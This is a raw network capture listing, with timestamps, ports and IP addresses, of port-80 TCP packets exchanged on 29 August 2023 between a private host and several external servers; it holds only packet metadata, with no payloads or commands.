Aug 29, 2023 22:45:57.510304928 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510358095 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510389090 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510389090 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510411978 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510467052 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510519981 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510556936 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510574102 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510628939 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510668993 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510668993 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510683060 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510737896 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510783911 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510837078 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510837078 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.511006117 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.511183977 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.554352045 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:46:02.782738924 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:02.907057047 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:02.907335997 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:02.907435894 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:03.034940004 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:04.409497023 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:04.574856043 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.425286055 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.551847935 CEST	80	50009	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.552094936 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.552242994 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.679229975 CEST	80	50009	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.862665892 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.862749100 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.862804890 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.862859011 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.862911940 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.862965107 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.863002062 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.863059998 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.863137960 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.863280058 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.863689899 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.891349077 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.891426086 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.891483068 CEST	80	50008	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:05.891675949 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:05.891676903 CEST	50008	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:07.065110922 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:07.232229948 CEST	80	50009	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:07.481139898 CEST	80	50009	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:07.481223106 CEST	80	50009	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:07.481272936 CEST	80	50009	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:07.481440067 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:07.481441021 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:07.481441021 CEST	50009	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.080945015 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.206192017 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.206442118 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.207137108 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.207222939 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.335580111 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.335705996 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.335803032 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.335851908 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.335861921 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.335948944 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.336031914 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.336052895 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.336132050 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.336205006 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.336206913 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.336361885 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.336452007 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.336540937 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.336699009 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.461469889 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.461570024 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.461616993 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.461652994 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.461700916 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.461792946 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.461815119 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.461860895 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.461993933 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.462099075 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.462153912 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:08.471585035 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.587049961 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.587888002 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:08.587918043 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:09.720813990 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:09.887023926 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:10.198375940 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:10.198443890 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:10.198493004 CEST	80	50010	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:10.198565006 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:10.198632002 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:10.198805094 CEST	50010	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:10.736514091 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:10.859905005 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:10.860130072 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:10.860228062 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:10.983170986 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:12.779534101 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:12.779633999 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:12.779685974 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:12.779994011 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:12.799063921 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:12.799206972 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:12.799396992 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:12.799556017 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:12.799556971 CEST	50011	80	192.168.11.20	119.18.54.51
Aug 29, 2023 22:46:12.922547102 CEST	80	50011	119.18.54.51	192.168.11.20
Aug 29, 2023 22:46:18.273147106 CEST	50012	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:18.529625893 CEST	80	50012	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:18.529968977 CEST	50012	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:18.530131102 CEST	50012	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:18.786535025 CEST	80	50012	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:18.786597013 CEST	80	50012	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:18.786650896 CEST	80	50012	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:18.786941051 CEST	50012	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:20.030987024 CEST	50012	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:21.046766043 CEST	50013	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:21.289231062 CEST	80	50013	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:21.289561987 CEST	50013	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:21.289633036 CEST	50013	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:21.531940937 CEST	80	50013	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:21.532056093 CEST	80	50013	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:21.532125950 CEST	80	50013	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:21.532335997 CEST	50013	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:22.796049118 CEST	50013	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:23.811702967 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.054045916 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.054677963 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.055598974 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.055699110 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.055762053 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.298346043 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298430920 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298512936 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298557043 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298614979 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.298640966 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298743963 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298778057 CEST	50014	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:24.298809052 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298866034 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298907042 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.298954010 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.541729927 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.541786909 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:24.541842937 CEST	80	50014	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:26.576819897 CEST	50015	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:26.819698095 CEST	80	50015	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:26.819983006 CEST	50015	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:26.820147991 CEST	50015	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:27.062886953 CEST	80	50015	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:27.062951088 CEST	80	50015	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:27.062997103 CEST	80	50015	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:27.063323975 CEST	50015	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:27.063386917 CEST	50015	80	192.168.11.20	43.154.67.170
Aug 29, 2023 22:46:27.306282043 CEST	80	50015	43.154.67.170	192.168.11.20
Aug 29, 2023 22:46:32.456938028 CEST	50016	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:32.642111063 CEST	80	50016	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:32.642510891 CEST	50016	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:32.642565966 CEST	50016	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:32.827848911 CEST	80	50016	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:32.842206001 CEST	80	50016	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:32.842302084 CEST	80	50016	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:32.842525959 CEST	50016	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:34.152939081 CEST	50016	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:35.168674946 CEST	50017	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:35.359108925 CEST	80	50017	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:35.359325886 CEST	50017	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:35.359431982 CEST	50017	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:35.562063932 CEST	80	50017	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:35.668446064 CEST	80	50017	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:35.668550968 CEST	80	50017	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:35.668899059 CEST	50017	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:36.871102095 CEST	50017	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:37.886826992 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.083770990 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.084091902 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.084657907 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.329385042 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.329444885 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.329644918 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.329770088 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.336806059 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.337100029 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.337218046 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.337265968 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.526102066 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.526304960 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.526417017 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.526469946 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.526482105 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.526694059 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:38.527278900 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.532157898 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.532248974 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.532624006 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.535043001 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.535111904 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.722105980 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.722434044 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.755990982 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.756110907 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.756162882 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.756201982 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.756239891 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.813563108 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.817235947 CEST	80	50018	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:38.817481995 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:39.589252949 CEST	50018	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:40.604995966 CEST	50019	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:40.805532932 CEST	80	50019	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:40.805823088 CEST	50019	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:40.805912018 CEST	50019	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:41.034097910 CEST	80	50019	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:41.231301069 CEST	80	50019	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:41.231367111 CEST	80	50019	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:41.231674910 CEST	50019	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:41.231801987 CEST	50019	80	192.168.11.20	164.88.252.122
Aug 29, 2023 22:46:41.427184105 CEST	80	50019	164.88.252.122	192.168.11.20
Aug 29, 2023 22:46:46.359695911 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.410979033 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.411282063 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.411426067 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.462580919 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503233910 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503338099 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503418922 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503479958 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503532887 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503598928 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503618002 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.503655910 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503711939 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503766060 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503820896 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.503835917 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.503835917 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.503962994 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.504122972 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.555145025 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555244923 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555303097 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555362940 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555417061 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555471897 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555520058 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.555560112 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555617094 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555670977 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555689096 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.555689096 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.555761099 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555818081 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555859089 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.555896997 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.555962086 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556061029 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.556133986 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556202888 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556210995 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.556277037 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556332111 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556368113 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.556408882 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556463003 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556516886 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.556536913 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.556709051 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.556876898 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.607770920 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.607857943 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608035088 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608051062 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.608167887 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608382940 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608392954 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.608484030 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608637094 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.608757019 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608828068 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608946085 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.608977079 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.609038115 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.609195948 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.609237909 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.609297991 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.609566927 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.609738111 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.609818935 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.609972000 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.610037088 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.610234976 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.610234976 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.610522985 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.610619068 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.610677004 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.610739946 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.610941887 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.611062050 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:46.611145020 CEST	80	50020	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:46.611404896 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:47.915621042 CEST	50020	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:48.931246996 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:48.982546091 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:48.982800007 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:48.982964993 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.034035921 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079030037 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079137087 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079200029 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079257965 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079308987 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.079438925 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079488039 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.079515934 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079606056 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079683065 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.079684019 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079750061 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079808950 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.079852104 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.079967022 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.130909920 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131017923 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131092072 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131150007 CEST	80	50021	37.140.192.187	192.168.11.20
